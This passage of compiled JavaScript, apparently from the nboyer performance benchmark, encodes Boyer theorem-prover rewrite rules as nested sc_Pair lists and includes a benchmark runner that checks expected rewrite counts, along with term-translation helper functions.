sc_Pair("\u1E9Cdifference",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cb",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cc",null)))))),null)))))),(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cb",(new sc_Pair("\u1E9Cc",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))),(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair("\u1E9Cy",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cz",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cz",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cy",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cx",null)))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cgcd",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cz",(new sc_Pair((new sc_Pair("\u1E9Cgcd",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cvalue",(new sc_Pair((new sc_Pair("\u1E9Cnormalize",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cvalue",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Ca",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cflatten",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair("\u1E9Cy",(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cnlistp",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clistp",(new sc_Pair((new sc_Pair("\u1E9Cgopher",(new sc_Pair("\u1E9Cx",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Clistp",(new sc_Pair("\u1E9Cx",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Csamefringe",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cflatten",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cflatten",(new sc_Pair("\u1E9Cy",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cgreatest-factor",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cy",null)))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cy",(new sc_Pair((1),null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cgreatest-factor",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((1),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((1),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cnumberp",(new sc_Pair((new sc_Pair("\u1E9Cgreatest-factor",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cy",null)))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cy",(new sc_Pair((1),null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Cx",null)))),null)))),null)))))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ctimes-list",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair((new sc_Pair("\u1E9Ctimes-list",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Ctimes-list",(new sc_Pair("\u1E9Cy",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cprime-list",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cprime-list",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cprime-list",(new sc_Pair("\u1E9Cy",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cz",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cw",(new sc_Pair("\u1E9Cz",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Cz",null)))),(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cz",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cw",(new sc_Pair((1),null)))))),null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cgreatereqp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cy",(new sc_Pair((1),null)))))),null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cremainder",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((1),null)))))),(new sc_Pair(sc_list("\u1E9Cand", (new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Ca",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),null)))), (new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cb",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),null)))), (new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Ca",null)))), (new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Cb",null)))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Csub1",(new sc_Pair("\u1E9Ca",null)))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Csub1",(new sc_Pair("\u1E9Cb",null)))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair((new sc_Pair("\u1E9Clength",(new sc_Pair((new sc_Pair("\u1E9Cdelete",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cl",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Clength",(new sc_Pair("\u1E9Cl",null)))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cl",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Csort2",(new sc_Pair((new sc_Pair("\u1E9Cdelete",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cl",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cdelete",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Csort2",(new sc_Pair("\u1E9Cl",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cdsort",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Csort2",(new sc_Pair("\u1E9Cx",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clength",(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair("\u1E9Cx1",(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair("\u1E9Cx2",(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair("\u1E9Cx3",(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair("\u1E9Cx4",(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair("\u1E9Cx5",(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair("\u1E9Cx6",(new sc_Pair("\u1E9Cx7",null)))))),null)))))),null)))))),null)))))),null)))))),null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair((6),(new sc_Pair((new sc_Pair("\u1E9Clength",(new sc_Pair("\u1E9Cx7",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair("\u1E9Cx",null)))),null)))),(new sc_Pair((2),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cx",null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cquotient",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),(new sc_Pair((2),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cquotient",(new sc_Pair("\u1E9Cy",(new sc_Pair((2),null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Csigma",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),(new sc_Pair("\u1E9Ci",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cquotient",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Ci",(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair("\u1E9Ci",null)))),null)))))),(new sc_Pair((2),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair("\u1E9Cy",null)))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Cy",null)))),(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair("\u1E9Cx",null)))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair("\u1E9Cz",(new sc_Pair("\u1E9Cy",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cz",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cz",null)))),null)))))),null)))))))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cmeaning",(new sc_Pair((new sc_Pair("\u1E9Cplus-tree",(new sc_Pair((new sc_Pair("\u1E9Cdelete",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))),(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair((new sc_Pair("\u1E9Cmeaning",(new sc_Pair((new sc_Pair("\u1E9Cplus-tree",(new sc_Pair("\u1E9Cy",null)))),(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cmeaning",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Ca",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cmeaning",(new sc_Pair((new sc_Pair("\u1E9Cplus-tree",(new sc_Pair("\u1E9Cy",null)))),(new sc_Pair("\u1E9Ca",null)))))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cadd1",(new sc_Pair("\u1E9Cy",null)))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Cnumberp",(new sc_Pair("\u1E9Cy",null)))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cx",null)))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cnth",(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),(new sc_Pair("\u1E9Ci",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Ci",null)))),(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clast",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Clistp",(new sc_Pair("\u1E9Cb",null)))),(new sc_Pair((new sc_Pair("\u1E9Clast",(new sc_Pair("\u1E9Cb",null)))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Clistp",(new sc_Pair("\u1E9Ca",null)))),(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair((new sc_Pair("\u1E9Ccar",(new sc_Pair((new sc_Pair("\u1E9Clast",(new sc_Pair("\u1E9Ca",null)))),null)))),(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair("\u1E9Cb",null)))))))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ct",null)),(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cf",null)),(new sc_Pair("\u1E9Cz",null)))))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cassignment",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Cassignedp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cassignment",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Ca",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cassignment",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cb",null)))))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ccar",(new sc_Pair((new sc_Pair("\u1E9Cgopher",(new sc_Pair("\u1E9Cx",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Clistp",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Ccar",(new sc_Pair((new sc_Pair("\u1E9Cflatten",(new sc_Pair("\u1E9Cx",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cflatten",(new sc_Pair((new sc_Pair("\u1E9Ccdr",(new sc_Pair((new sc_Pair("\u1E9Cgopher",(new sc_Pair("\u1E9Cx",null)))),null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Clistp",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Ccdr",(new sc_Pair((new sc_Pair("\u1E9Cflatten",(new sc_Pair("\u1E9Cx",null)))),null)))),(new sc_Pair((new sc_Pair("\u1E9Ccons",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),null)))))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cquotient",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cy",null)))),(new sc_Pair((new sc_Pair("\u1E9Czero",null)),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cx",null)))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cget",(new sc_Pair("\u1E9Cj",(new sc_Pair((new sc_Pair("\u1E9Cset",(new sc_Pair("\u1E9Ci",(new sc_Pair("\u1E9Cval",(new sc_Pair("\u1E9Cmem",null)))))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Ceqp",(new sc_Pair("\u1E9Cj",(new sc_Pair("\u1E9Ci",null)))))),(new sc_Pair("\u1E9Cval",(new sc_Pair((new sc_Pair("\u1E9Cget",(new sc_Pair("\u1E9Cj",(new sc_Pair("\u1E9Cmem",null)))))),null)))))))),null)))))))); (const_nboyer = (new sc_Pair((new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cf",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cc",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))),null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cf",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair((new sc_Pair("\u1E9Ctimes",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Cc",(new sc_Pair("\u1E9Cd",null)))))),null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cz",(new sc_Pair("\u1E9Cf",(new sc_Pair((new sc_Pair("\u1E9Creverse",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair((new sc_Pair("\u1E9Cappend",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),null)))))),null)))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cu",(new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cplus",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cdifference",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))))))),(new sc_Pair((new sc_Pair("\u1E9Cw",(new sc_Pair("\u1E9Clessp",(new sc_Pair((new sc_Pair("\u1E9Cremainder",(new sc_Pair("\u1E9Ca",(new sc_Pair("\u1E9Cb",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cmember",(new sc_Pair("\u1E9Ca",(new sc_Pair((new sc_Pair("\u1E9Clength",(new sc_Pair("\u1E9Cb",null)))),null)))))),null)))))))),null))))))))))); BgL_nboyerzd2benchmarkzd2 = function() { var args = null; for (var sc_tmp = arguments.length - 1; sc_tmp >= 0; sc_tmp--) { args = sc_cons(arguments[sc_tmp], args); } var n; return ((n = ((args === null)?(0):(args.car))), (BgL_setupzd2boyerzd2()), (BgL_runzd2benchmarkzd2(("nboyer"+(sc_number2string(n))), (1), function() { return (BgL_testzd2boyerzd2(n)); }, function(rewrites) { if ((sc_isNumber(rewrites))) switch (n) { case (0): return (rewrites===(95024)); break; case (1): return (rewrites===(591777)); break; case (2): return (rewrites===(1813975)); break; case (3): return (rewrites===(5375678)); break; case (4): return (rewrites===(16445406)); break; case (5): return (rewrites===(51507739)); break; default: return true; break; } else return false; }))); }; BgL_setupzd2boyerzd2 = function() { return true; }; BgL_testzd2boyerzd2 = function() { return true; }; translate_term_nboyer = function(term) { var lst; return (!(term instanceof sc_Pair)?term:(new sc_Pair((BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer((term.car))), ((lst = (term.cdr)), ((lst === null)?null:(new sc_Pair((translate_term_nboyer((lst.car))), (translate_args_nboyer((lst.cdr)))))))))); }; translate_args_nboyer = function(lst) { var sc_lst_5; var term; return ((lst === null)?null:(new sc_Pair(((term = (lst.car)), (!(term instanceof sc_Pair)?term:(new sc_Pair((BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer((term.car))), (translate_args_nboyer((term.cdr))))))), ((sc_lst_5 = (lst.cdr)), ((sc_lst_5 === null)?null:(new sc_Pair((translate_term_nboyer((sc_lst_5.car))), (translate_args_nboyer((sc_lst_5.cdr)))))))))); }; untranslate_term_nboyer = function(term) { var optrOpnd; var tail1131; var L1127; var falseHead1130; var symbol_record; if (!(term instanceof sc_Pair)) return term; else { (falseHead1130 = (new sc_Pair(null, null))); (L1127 = (term.cdr)); (tail1131 = falseHead1130); while (!(L1127 === null)) { { (tail1131.cdr = (new sc_Pair((untranslate_term_nboyer((L1127.car))), null))); (tail1131 = (tail1131.cdr)); (L1127 = (L1127.cdr)); } } (optrOpnd = (falseHead1130.cdr)); return (new sc_Pair(((symbol_record = (term.car)), (symbol_record[(0)])), optrOpnd)); } }; BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer = function(sym) { var r; var x; return ((x = (sc_assq(sym, BgL_sc_za2symbolzd2recordszd2alistza2_2z00_nboyer))), ((x!== false)?(x.cdr):((r = [sym, null]), (BgL_sc_za2symbolzd2recordszd2alistza2_2z00_nboyer = (new sc_Pair((new sc_Pair(sym, r)), BgL_sc_za2symbolzd2recordszd2alistza2_2z00_nboyer))), 